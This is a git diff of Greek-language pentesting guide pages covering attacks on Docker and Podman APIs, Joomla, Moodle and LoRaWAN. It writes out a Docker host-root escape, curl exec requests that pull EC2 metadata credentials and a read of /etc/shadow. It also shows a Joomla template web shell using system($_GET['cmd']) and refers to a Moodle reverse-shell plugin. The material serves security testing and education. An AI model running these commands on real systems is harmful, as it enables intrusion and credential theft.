**Podman** είναι μια ανοιχτού κώδικα μηχανή κοντέινερ που συμμορφώνεται με τα [Open Container Initiative (OCI) standards](https://github.com/opencontainers), αναπτυγμένη και συντηρούμενη από την Red Hat. Ξεχωρίζει από το Docker με αρκετά χαρακτηριστικά, κυρίως την **αρχιτεκτονική χωρίς daemon** και την υποστήριξη για **rootless containers**, επιτρέποντας στους χρήστες να εκτελούν κοντέινερ χωρίς δικαιώματα root.
Το Podman έχει σχεδιαστεί για να είναι συμβατό με το API του Docker, επιτρέποντας τη χρήση εντολών Docker CLI. Αυτή η συμβατότητα επεκτείνεται στο οικοσύστημα του, το οποίο περιλαμβάνει εργαλεία όπως το **Buildah** για την κατασκευή εικόνων κοντέινερ και το **Skopeo** για λειτουργίες εικόνας όπως push, pull και inspect. Περισσότερες λεπτομέρειες για αυτά τα εργαλεία μπορείτε να βρείτε στη [σελίδα GitHub τους](https://github.com/containers/buildah/tree/master/docs/containertools).
Το Podman έχει σχεδιαστεί για να είναι συμβατό με το API του Docker, επιτρέποντας τη χρήση εντολών CLI του Docker. Αυτή η συμβατότητα επεκτείνεται στο οικοσύστημα του, το οποίο περιλαμβάνει εργαλεία όπως το **Buildah** για την κατασκευή εικόνων κοντέινερ και το **Skopeo** για λειτουργίες εικόνας όπως push, pull και inspect. Περισσότερες λεπτομέρειες για αυτά τα εργαλεία μπορείτε να βρείτε στη [σελίδα GitHub τους](https://github.com/containers/buildah/tree/master/docs/containertools).
**Κύριες Διαφορές**
@ -75,7 +75,7 @@ ctr container delete <containerName>
Η προσέγγιση του Podman προσφέρει μια ασφαλή και ευέλικτη εναλλακτική λύση στο Docker, τονίζοντας τη διαχείριση δικαιωμάτων χρηστών και τη συμβατότητα με τις υπάρχουσες ροές εργασίας του Docker.
> [!NOTE]
> [!TIP]
> Σημειώστε ότι καθώς το podman στοχεύει να υποστηρίξει το ίδιο API με το docker, μπορείτε να χρησιμοποιήσετε τις ίδιες εντολές με το podman όπως με το docker, όπως:
>
> ```bash
@ -136,23 +136,23 @@ GitCommit: fec3683
```
Αν μπορείτε να **επικοινωνήσετε με το απομακρυσμένο docker API με την εντολή `docker`** μπορείτε να **εκτελέσετε** οποιαδήποτε από τις **εντολές docker** [**που έχουν σχολιαστεί προηγουμένως**](2375-pentesting-docker.md#basic-commands) για να αλληλεπιδράσετε με την υπηρεσία.
> [!NOTE]
> [!TIP]
> Μπορείτε να `export DOCKER_HOST="tcp://localhost:2375"` και να **αποφύγετε** τη χρήση της παραμέτρου `-H` με την εντολή docker
**Γρήγορη κλιμάκωση προνομίων**
**Γρήγορη κλιμάκωση δικαιωμάτων**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
Μερικές φορές θα δείτε το **2376** ενεργό για το **TLS** endpoint. Δεν μπόρεσα να συνδεθώ σε αυτό με τον docker client, αλλά είναι δυνατόν να το κάνετε με το curl.
Μερικές φορές θα δείτε το **2376** ενεργό για το **TLS** endpoint. Δεν έχω καταφέρει να συνδεθώ σε αυτό με τον docker client, αλλά είναι δυνατόν να το κάνετε με το curl.
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -184,29 +184,29 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
```
### Συμβιβασμός
Στην παρακάτω σελίδα μπορείτε να βρείτε τρόπους για **να ξεφύγετε από ένα docker container**:
Στην παρακάτω σελίδα μπορείτε να βρείτε τρόπους για να **αποδράσετε από ένα docker container**:
{{#ref}}
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
Καταχρώντας αυτό, είναι δυνατόν να ξεφύγετε από ένα container, μπορείτε να εκτελέσετε ένα αδύναμο container στη απομακρυσμένη μηχανή, να ξεφύγετε από αυτό και να συμβιβάσετε τη μηχανή:
Καταχρώντας αυτό, είναι δυνατόν να αποδράσετε από ένα container, μπορείτε να εκτελέσετε ένα αδύναμο container στη απομακρυσμένη μηχανή, να αποδράσετε από αυτό και να συμβιβάσετε τη μηχανή:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### Ανάβαση Δικαιωμάτων
### Κλιμάκωση Δικαιωμάτων
Αν βρίσκεστε σε έναν υπολογιστή που χρησιμοποιεί docker, μπορείτε [**να διαβάσετε αυτές τις πληροφορίες για να προσπαθήσετε να ανυψώσετε τα δικαιώματα**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
Αν βρίσκεστε μέσα σε έναν υπολογιστή που χρησιμοποιεί docker, μπορείτε [**να διαβάσετε αυτές τις πληροφορίες για να προσπαθήσετε να κλιμακώσετε τα δικαιώματα**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
### Ανακάλυψη μυστικών σε εκτελούμενα κοντέινερ Docker
### Ανακαλύπτοντας μυστικά σε εκτελούμενα κοντέινερ Docker
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Ελέγξτε **env** (ενότητα μεταβλητών περιβάλλοντος) για μυστικά και μπορεί να βρείτε:
Ελέγξτε το **env** (τμήμα μεταβλητών περιβάλλοντος) για μυστικά και μπορεί να βρείτε:
- Κωδικούς πρόσβασης.
- Διευθύνσεις IP.
@ -239,7 +239,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Ασφαλίζοντας τα Dockerfiles
- Μπορείτε να χρησιμοποιήσετε το εργαλείο [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) για να **ελέγξετε το Dockerfile σας** και να βρείτε κάθε είδους κακή διαμόρφωση. Κάθε κακή διαμόρφωση θα έχει ένα ID, μπορείτε να βρείτε εδώ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) πώς να διορθώσετε καθεμία από αυτές.
- Μπορείτε να χρησιμοποιήσετε το εργαλείο [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) για να **ελέγξετε το Dockerfile σας** και να βρείτε κάθε είδους κακή διαμόρφωση. Κάθε κακή διαμόρφωση θα λάβει ένα ID, μπορείτε να βρείτε εδώ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) πώς να διορθώσετε καθεμία από αυτές.
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Καταγραφή ύποπτης δραστηριότητας
- Μπορείτε να χρησιμοποιήσετε το εργαλείο [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) για να ανιχνεύσετε **ύποπτη συμπεριφορά σε εκτελούμενα κοντέινερ**.
- Σημειώστε στο παρακάτω κομμάτι πώς **το Falco συντάσσει ένα module πυρήνα και το εισάγει**. Μετά από αυτό, φορτώνει τους κανόνες και **ξεκινά την καταγραφή ύποπτων δραστηριοτήτων**. Σε αυτή την περίπτωση, έχει ανιχνεύσει 2 προνομιούχα κοντέινερ που ξεκίνησαν, 1 από αυτά με μια ευαίσθητη προσάρτηση, και μετά από μερικά δευτερόλεπτα ανίχνευσε πώς άνοιξε ένα shell μέσα σε ένα από τα κοντέινερ.
- Σημειώστε στο παρακάτω κομμάτι πώς **ο Falco συντάσσει ένα module πυρήνα και το εισάγει**. Μετά από αυτό, φορτώνει τους κανόνες και **ξεκινά την καταγραφή ύποπτων δραστηριοτήτων**. Σε αυτή την περίπτωση, έχει ανιχνεύσει 2 προνομιούχα κοντέινερ που ξεκίνησαν, 1 από αυτά με μια ευαίσθητη τοποθέτηση, και μετά από μερικά δευτερόλεπτα ανίχνευσε πώς άνοιξε ένα shell μέσα σε ένα από τα κοντέινερ.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host

View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
### Joomla Στατιστικά
### Στατιστικά Joomla
Το Joomla συλλέγει ορισμένα ανώνυμα [στατιστικά χρήσης](https://developer.joomla.org/about/stats.html) όπως η κατανομή των εκδόσεων Joomla, PHP και βάσεων δεδομένων και των λειτουργικών συστημάτων διακομιστών που χρησιμοποιούνται σε εγκαταστάσεις Joomla. Αυτά τα δεδομένα μπορούν να ανακτηθούν μέσω του δημόσιου [API](https://developer.joomla.org/about/stats/api.html).
```bash
@ -58,13 +58,13 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Έκδοση
- Στο **/administrator/manifests/files/joomla.xml** μπορείτε να δείτε την έκδοση.
- Στο **/language/en-GB/en-GB.xml** μπορείτε να βρείτε την έκδοση του Joomla.
- Στο **/language/en-GB/en-GB.xml** μπορείτε να αποκτήσετε την έκδοση του Joomla.
- Στο **plugins/system/cache/cache.xml** μπορείτε να δείτε μια περίπου έκδοση.
### Αυτόματη
@ -95,18 +95,18 @@ admin:admin
Αν καταφέρατε να αποκτήσετε **διαπιστευτήρια διαχειριστή**, μπορείτε να **RCE μέσα σε αυτό** προσθέτοντας ένα κομμάτι **PHP κώδικα** για να αποκτήσετε **RCE**. Μπορούμε να το κάνουμε αυτό **προσαρμόζοντας** ένα **θέμα**.
1. **Κάντε κλικ** στο **`Templates`** στο κάτω αριστερό μέρος κάτω από `Configuration` για να εμφανιστεί το μενού θεμάτων.
2. **Κάντε κλικ** σε ένα όνομα **θέματος**. Ας επιλέξουμε το **`protostar`** κάτω από την επικεφαλίδα στήλης `Template`. Αυτό θα μας φέρει στη σελίδα **`Templates: Customise`**.
3. Τέλος, μπορείτε να κάνετε κλικ σε μια σελίδα για να εμφανίσετε τον **πηγαίο κώδικα**. Ας επιλέξουμε τη σελίδα **`error.php`**. Θα προσθέσουμε μια **PHP one-liner για να αποκτήσουμε εκτέλεση κώδικα** ως εξής:
2. **Κάντε κλικ** σε ένα όνομα **θέματος**. Ας επιλέξουμε το **`protostar`** κάτω από την κεφαλίδα στήλης `Template`. Αυτό θα μας φέρει στη σελίδα **`Templates: Customise`**.
3. Τέλος, μπορείτε να κάνετε κλικ σε μια σελίδα για να εμφανίσετε την **πηγή της σελίδας**. Ας επιλέξουμε τη σελίδα **`error.php`**. Θα προσθέσουμε μια **PHP one-liner για να αποκτήσουμε εκτέλεση κώδικα** ως εξής:
1. **`system($_GET['cmd']);`**
4. **Αποθήκευση & Κλείσιμο**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## Από XSS σε RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Σενάριο εκμετάλλευσης Joomla που **ανεβάζει XSS σε RCE ή άλλες κρίσιμες ευπάθειες**. Για περισσότερες πληροφορίες δείτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Joomla 5.X.X, 4.X.X και 3.X.X, και επιτρέπει να:**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Σενάριο εκμετάλλευσης Joomla που **ανεβάζει XSS σε RCE ή άλλες κρίσιμες ευπάθειες**. Για περισσότερες πληροφορίες δείτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για εκδόσεις Joomla 5.X.X, 4.X.X και 3.X.X, και επιτρέπει:**
- _**Αύξηση Δικαιωμάτων:**_ Δημιουργεί έναν χρήστη στο Joomla.
- _**(RCE) Επεξεργασία Ενσωματωμένων Θεμάτων:**_ Επεξεργάζεται Ενσωματωμένα Θέματα στο Joomla.
- _**(Custom) Προσαρμοσμένες Εκμεταλλεύσεις:**_ Προσαρμοσμένες Εκμεταλλεύσεις για τρίτους πρόσθετους Joomla.
- _**(RCE) Επεξεργασία Ενσωματωμένων Θεμάτων:**_ Επεξεργασία Ενσωματωμένων Θεμάτων στο Joomla.
- _**(Custom) Προσαρμοσμένες Εκμεταλλεύσεις:**_ Προσαρμοσμένες εκμεταλλεύσεις για τρίτους πρόσθετους Joomla.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -62,15 +62,15 @@ cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Βρήκα ότι τα αυτόματα εργαλεία είναι αρκετά **άχρηστα για την εύρεση ευπαθειών που επηρεάζουν την έκδοση moodle**. Μπορείτε να **ελέγξετε** γι' αυτές στο [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
Βρήκα ότι τα αυτόματα εργαλεία είναι αρκετά **άχρηστα για την εύρεση ευπαθειών που επηρεάζουν την έκδοση moodle**. Μπορείτε να **ελέγξετε** για αυτές στο [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
Πρέπει να έχετε ρόλο **διαχειριστή** και μπορείτε να **εγκαταστήσετε πρόσθετα** μέσα στην καρτέλα **"Διαχείριση ιστότοπου"**:
Πρέπει να έχετε ρόλο **manager** και μπορείτε να **εγκαταστήσετε πρόσθετα** μέσα στην καρτέλα **"Site administration"**:
![](<../../images/image (630).png>)
Αν είστε διαχειριστής, μπορεί να χρειαστεί να **ενεργοποιήσετε αυτή την επιλογή**. Μπορείτε να δείτε πώς στο PoC εκμετάλλευσης προνομίων moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Αν είστε manager, μπορεί να χρειαστεί να **ενεργοποιήσετε αυτή την επιλογή**. Μπορείτε να δείτε πώς στο PoC εκμετάλλευσης δικαιωμάτων moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Στη συνέχεια, μπορείτε να **εγκαταστήσετε το παρακάτω πρόσθετο** που περιέχει το κλασικό pentest-monkey php r**ev shell** (_πριν το ανεβάσετε πρέπει να το αποσυμπιέσετε, να αλλάξετε τη διεύθυνση IP και την πόρτα του revshell και να το συμπιέσετε ξανά_)

View File

@ -23,18 +23,18 @@ Long Range (**LoRa**) είναι αυτή τη στιγμή η πιο αναπτ
## Περίληψη επιφάνειας επίθεσης
| Στρώση | Αδυναμία | Πρακτική επίδραση |
| Στρώση | Αδυναμία | Πρακτικός αντίκτυπος |
|-------|----------|------------------|
| PHY | Αντιδραστική / επιλεκτική παρεμβολή | 100 % απώλεια πακέτων αποδεδειγμένη με ένα μόνο SDR και <1 W έξοδο |
| MAC | Join-Accept & επανάληψη πλαισίου δεδομένων (επανάχρηση nonce, ABP counter rollover) | Spoofing συσκευών, εισαγωγή μηνυμάτων, DoS |
| Network-Server | Ανασφαλής packet-forwarder, αδύναμοι φίλτροι MQTT/UDP, παρωχημένο firmware πύλης | RCE σε πύλες → pivot σε OT/IT δίκτυο |
| Network-Server | Ανασφαλής packet-forwarder, αδύναμοι φίλτροι MQTT/UDP, παρωχημένο firmware πύλης | RCE σε πύλες → pivot στο OT/IT δίκτυο |
| Εφαρμογή | Σκληρά κωδικοποιημένα ή προβλέψιμα AppKeys | Brute-force/αποκρυπτογράφηση κίνησης, μίμηση αισθητήρων |
---
## Πρόσφατες ευπάθειες (2023-2025)
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* δέχτηκε TCP πακέτα που παρακάμπτουν τους κανόνες stateful firewall σε πύλες Kerlink, επιτρέποντας την έκθεση της απομακρυσμένης διαχείρισης. Διορθώθηκε στην 4.0.11 / 4.2.1 αντίστοιχα.
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* δέχτηκε TCP πακέτα που παρακάμπτουν τους κανόνες του stateful firewall σε πύλες Kerlink, επιτρέποντας την έκθεση της απομακρυσμένης διαχείρισης. Διορθώθηκε στην 4.0.11 / 4.2.1 αντίστοιχα.
* **Dragino LG01/LG308 σειρά** Πολλαπλές CVEs 2022-2024 (π.χ. 2022-45227 directory traversal, 2022-45228 CSRF) παρατηρούνται ακόμα χωρίς διόρθωση το 2025; ενεργοποιούν μη αυθεντικοποιημένη απόρριψη firmware ή επαναφορά ρυθμίσεων σε χιλιάδες δημόσιες πύλες.
* Semtech *packet-forwarder UDP* overflow (μη δημοσιευθείσα προειδοποίηση, διορθώθηκε 2023-10): κατασκευασμένο uplink μεγαλύτερο από 255 B προκάλεσε stack-smash > RCE σε πύλες αναφοράς SX130x (βρέθηκε από το Black Hat EU 2023 “LoRa Exploitation Reloaded”).
@ -57,7 +57,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
2. Άμεσα επαναμεταδώστε το (ή αυξήστε το RSSI) πριν το αρχικό συσκευή μεταδώσει ξανά.
3. Ο διακομιστής δικτύου εκχωρεί μια νέα DevAddr & κλειδιά συνεδρίας ενώ η στοχευμένη συσκευή συνεχίζει με την παλιά συνεδρία → ο επιτιθέμενος κατέχει κενή συνεδρία και μπορεί να εισάγει πλαστά uplinks.
### 3. Adaptive Data-Rate (ADR) υποβάθμιση
### 3. Προσαρμοσμένος Ρυθμός Δεδομένων (ADR) υποβάθμιση
Αναγκάστε το SF12/125 kHz να αυξήσει τον χρόνο αέρα → εξαντλήστε τον κύκλο καθήκοντος της πύλης (άρνηση υπηρεσίας) ενώ διατηρείτε τον αντίκτυπο της μπαταρίας χαμηλό στον επιτιθέμενο (απλώς στείλτε εντολές MAC επιπέδου δικτύου).
@ -67,18 +67,18 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
---
## Offensive tooling (2025)
## Επιθετικά εργαλεία (2025)
| Tool | Purpose | Notes |
| Εργαλείο | Σκοπός | Σημειώσεις |
|------|---------|-------|
| **LoRaWAN Auditing Framework (LAF)** | Δημιουργία/ανάλυση/επίθεση σε πλαίσια LoRaWAN, αναλυτές με βάση τη βάση δεδομένων, brute-forcer | Εικόνα Docker, υποστηρίζει είσοδο Semtech UDP |
| **LoRaPWN** | Εργαλείο Python της Trend Micro για brute OTAA, δημιουργία downlinks, αποκρυπτογράφηση payloads | Demo που κυκλοφόρησε το 2023, SDR-agnostic |
| **LoRAttack** | Multi-channel sniffer + replay με USRP; εξάγει PCAP/LoRaTap | Καλή ενσωμάτωση με Wireshark |
| **gr-lora / gr-lorawan** | GNU Radio OOT blocks για TX/RX βάσης | Θεμέλιο για προσαρμοσμένες επιθέσεις |
| **LoRAttack** | Πολυκαναλικός ανιχνευτής + επανάληψη με USRP; εξάγει PCAP/LoRaTap | Καλή ενσωμάτωση με Wireshark |
| **gr-lora / gr-lorawan** | OOT μπλοκ GNU Radio για TX/RX βάσης | Θεμέλιο για προσαρμοσμένες επιθέσεις |
---
## Defensive recommendations (checklist pentester)
## Αμυντικές συστάσεις (λίστα ελέγχου pentester)
1. Προτιμήστε **OTAA** συσκευές με πραγματικά τυχαίο DevNonce; παρακολουθήστε διπλότυπα.
2. Επιβάλετε **LoRaWAN 1.1**: 32-bit μετρητές πλαισίων, διακριτά FNwkSIntKey / SNwkSIntKey.
@ -88,8 +88,8 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
6. Διατηρήστε τις πύλες ενημερωμένες; Οι Kerlink/Dragino παρέχουν εικόνες με διορθώσεις του 2024.
7. Εφαρμόστε **ανίχνευση ανωμαλιών κυκλοφορίας** (π.χ., αναλυτής LAF) σημειώστε επαναφορές μετρητών, διπλές συμμετοχές, ξαφνικές αλλαγές ADR.
## References
## Αναφορές
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf
* Trend Micro LoRaPWN overview https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWN overview [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}